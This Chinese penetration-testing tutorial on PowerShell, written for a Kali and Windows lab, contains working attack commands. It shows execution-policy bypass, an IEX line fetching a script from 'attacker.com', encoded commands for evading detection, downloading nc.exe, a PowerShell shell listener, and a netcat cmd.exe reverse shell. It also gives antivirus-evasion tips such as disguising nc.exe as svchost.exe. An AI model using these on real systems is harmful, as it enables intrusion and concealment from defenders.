Day11 Kali渗透工具Powershell
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
以下内容建议在虚拟机中测试,安装Windows10直接点击注册即可,安装Windows11可以参考如下教程设置后链接。win系统镜像可关注泷羽Sec-静安公众号,后台回复“OSCP配套工具”获取本文的工具,文件夹Day11-12中有。
手把手、超详细:安装Windows11 虚拟机Vmware 16.x Pro教程!
PowerShell
概述
-
定义:微软开发的脚本语言和命令行 Shell,集成于 Windows 系统,支持自动化任务和系统管理。
-
特点:无需额外安装,可直接调用 .NET 框架,功能强大且灵活。

渗透测试用途
-
信息收集:枚举系统信息、进程、服务等(如
Get-Process)。 -
权限提升:利用漏洞或配置错误提权(如绕过 UAC)。
-
横向移动:通过 WMI 或 PSRemoting 控制内网其他主机。
-
文件传输:下载恶意文件(
Invoke-WebRequest或IEX)。 -
持久化:创建计划任务、注册表项等维持访问。


PowerShell ISE和终端cmd不同,PowerShell ISE能执行的命令比终端多,而且ISE的界面类似普通编程IDE界面,上方可以编辑ps1文件,并运行,在下方显示运行结果。右侧显示各种模块的名称,可以直接查找后插入。
常用命令示例
# 绕过执行策略执行脚本
powershell -ExecutionPolicy Bypass -File script.ps1
# 从远程加载并执行脚本(无文件攻击)
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
# 编码命令绕过检测
$command = "Get-Process"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded实操练习
Get-ExecutionPolicy- 作用:查看当前 PowerShell 的 脚本执行策略(Execution Policy)。
- 输出
RemoteSigned: 表示当前策略允许运行 本地脚本,但来自互联网的脚本(如通过邮件或下载的脚本)必须经过 数字签名 才能运行。 - 渗透测试意义:
攻击者需确认目标是否允许直接运行脚本,若策略为
Restricted(默认),则需绕过限制(如使用-ExecutionPolicy Bypass)
Set-ExecutionPolicy Unrestricted-
作用:将执行策略修改为
Unrestricted,允许运行 所有脚本(包括远程未签名脚本),但执行远程脚本时会弹出警告。渗透测试用途
- 绕过默认安全限制,便于直接运行恶意脚本(如从互联网下载的
.ps1文件)。 - 通常在提权后使用,为后续攻击铺路。
- 绕过默认安全限制,便于直接运行恶意脚本(如从互联网下载的
-
风险: 用户可能因忽略警告而误执行恶意脚本。

Kali 中自带一些用于渗透Windows的工具,存在/usr/share/windows-binaries文件夹下。用命令启动一个简单的服务器,可以访问下载即将要用到的软件。
python3 -m http.server

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://172.168.169.128:8000/nc.exe','C:\Users\Administrator\Downloads\nc.exe')"- 作用:
使用
System.Net.WebClient类从攻击者控制的服务器(192.168.162.128)下载nc.exe(Netcat 工具),并保存到C:\nc.exe。

渗透测试用途
-
下载攻击工具:Netcat 常用于创建反向 Shell、端口扫描或文件传输。
-
横向移动:将工具上传到目标内网主机,进一步控制其他设备。
-
持久化:结合计划任务或服务,维持长期访问权限。


如果是在靶机上测试,记得关闭Windows的防病毒功能,因为这个nv文件十分典型,会报病毒。如果是在实战渗透中,要对nc文件做加密以绕过检测。绕过检测技巧
- 使用加密协议(如 HTTPS)或混淆 URL。
- 重命名
nc.exe为合法文件名(如svchost.exe)。 - 直接在内存中加载工具(无文件攻击),避免写入磁盘。
反弹windows的shell到kali中
Windows中打开ISE,在编辑框中输入
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0', 443);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush();
$client.Close();
$listener.Stop()
}
然后在kali中输入
nc -nv 172.168.169.136 443
但是这样获得的链接不稳定,我们把('0.0.0.0', 443);改为攻击机的地址,就能获得稳定的shell。
$listener = New-Object System.Net.Sockets.TcpListener('172.168.169.128', 8888);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush();
$client.Close();
$listener.Stop()
}由于之前我们已经用命令下载了nc.exe,所以我们可以在window上用nc方便快捷的建立一个反弹shell。
./nc.exe 172.168.169.128 4444 -e cmd.exe 然后在kali上监听4444端口即可。
nc -nlvp 4444 
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚